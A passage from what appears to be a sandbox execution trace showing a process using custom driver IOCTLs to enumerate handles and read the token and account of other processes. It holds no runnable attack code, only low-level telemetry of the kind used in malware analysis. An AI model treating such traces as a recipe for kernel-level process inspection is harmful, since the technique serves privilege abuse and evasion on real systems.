lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0075.537] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.537] PsAcquireProcessExitSynchronization () returned 0x0 [0075.537] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.537] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800249e740, HandleInformation=0x0) returned 0x0 [0075.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.537] PsReleaseProcessExitSynchronization () returned 0x2 [0075.537] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.537] ObQueryNameString (in: Object=0xfffffa800249e740, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.537] ObfDereferenceObject (Object=0xfffffa800249e740) returned 0x1 [0075.537] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.537] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.537] PsAcquireProcessExitSynchronization () returned 0x0 [0075.537] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.537] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.537] PsReleaseProcessExitSynchronization () returned 0x2 [0075.537] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.537] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f90044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001f90044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.537] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4f [0075.537] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.538] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.538] PsAcquireProcessExitSynchronization () returned 0x0 [0075.538] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.538] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025b7070, HandleInformation=0x0) returned 0x0 [0075.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.538] PsReleaseProcessExitSynchronization () returned 0x2 [0075.538] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.538] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003493044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003493044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.538] ObfDereferenceObject (Object=0xfffffa80025b7070) returned 0x1 [0075.538] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.538] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.538] PsAcquireProcessExitSynchronization () returned 0x0 [0075.538] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.538] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00256f870, HandleInformation=0x0) returned 0x0 [0075.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.538] PsReleaseProcessExitSynchronization () returned 0x2 [0075.538] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.538] ObQueryNameString (in: Object=0xfffff8a00256f870, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.538] ObfDereferenceObject (Object=0xfffff8a00256f870) returned 0x1 [0075.538] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0075.538] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.538] PsAcquireProcessExitSynchronization () returned 0x0 [0075.538] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.538] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025b7c80, HandleInformation=0x0) returned 0x0 [0075.539] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.539] PsReleaseProcessExitSynchronization () returned 0x2 [0075.539] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.539] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800389e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800389e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.539] ObfDereferenceObject (Object=0xfffffa80025b7c80) returned 0x1 [0075.539] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.539] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.539] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.539] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.539] PsAcquireProcessExitSynchronization () returned 0x0 [0075.539] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.539] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0075.539] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.539] PsReleaseProcessExitSynchronization () returned 0x2 [0075.539] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.539] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.539] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0075.539] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.539] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.539] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x688) returned 0xc0 [0075.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.539] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800252f250, HandleInformation=0x0) returned 0x0 [0075.539] ObOpenObjectByPointer (in: Object=0xfffffa800252f250, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.539] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x3a [0075.539] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.539] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.539] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.539] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.540] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.541] CloseHandle (hObject=0xc8) returned 1 [0075.541] CloseHandle (hObject=0xc0) returned 1 [0075.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.541] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.541] PsAcquireProcessExitSynchronization () returned 0x0 [0075.541] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.541] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025708c0, HandleInformation=0x0) returned 0x0 [0075.541] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.541] PsReleaseProcessExitSynchronization () returned 0x2 [0075.541] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.541] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.541] ObfDereferenceObject (Object=0xfffffa80025708c0) returned 0x1 [0075.541] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.542] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.542] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.542] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.542] PsAcquireProcessExitSynchronization () returned 0x0 [0075.542] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.542] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025a1a70, HandleInformation=0x0) returned 0x0 [0075.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.542] PsReleaseProcessExitSynchronization () returned 0x2 [0075.542] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.542] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.542] ObfDereferenceObject (Object=0xfffffa80025a1a70) returned 0x1 [0075.542] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.542] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.542] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0075.542] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.542] PsAcquireProcessExitSynchronization () returned 0x0 [0075.542] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.542] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002593640, HandleInformation=0x0) returned 0x0 [0075.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.542] PsReleaseProcessExitSynchronization () returned 0x2 [0075.542] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.542] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.542] ObfDereferenceObject (Object=0xfffffa8002593640) returned 0x1 [0075.542] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.542] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.542] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.542] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.542] PsAcquireProcessExitSynchronization () returned 0x0 [0075.542] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.542] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.543] PsReleaseProcessExitSynchronization () returned 0x2 [0075.543] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.543] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.543] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4f [0075.543] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.543] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.543] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0075.543] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.543] PsAcquireProcessExitSynchronization () returned 0x0 [0075.543] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.543] ObReferenceObjectByHandle (in: Handle=0x98, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024da740, HandleInformation=0x0) returned 0x0 [0075.543] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.543] PsReleaseProcessExitSynchronization () returned 0x2 [0075.543] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.543] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.543] ObfDereferenceObject (Object=0xfffffa80024da740) returned 0x11 [0075.543] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.543] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.543] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.543] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.543] PsAcquireProcessExitSynchronization () returned 0x0 [0075.543] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.543] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00278b5e0, HandleInformation=0x0) returned 0x0 [0075.543] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.543] PsReleaseProcessExitSynchronization () returned 0x2 [0075.543] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.543] ObQueryNameString (in: Object=0xfffff8a00278b5e0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.543] ObfDereferenceObject (Object=0xfffff8a00278b5e0) returned 0x1 [0075.543] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.543] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.544] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.544] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.544] PsAcquireProcessExitSynchronization () returned 0x0 [0075.544] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.544] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.544] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.544] PsReleaseProcessExitSynchronization () returned 0x2 [0075.544] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.544] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.544] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.544] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.544] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.544] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.544] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.544] PsAcquireProcessExitSynchronization () returned 0x0 [0075.544] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.544] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.544] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.544] PsReleaseProcessExitSynchronization () returned 0x2 [0075.544] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.544] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.544] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.544] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.544] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.544] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.544] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.544] PsAcquireProcessExitSynchronization () returned 0x0 [0075.544] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, 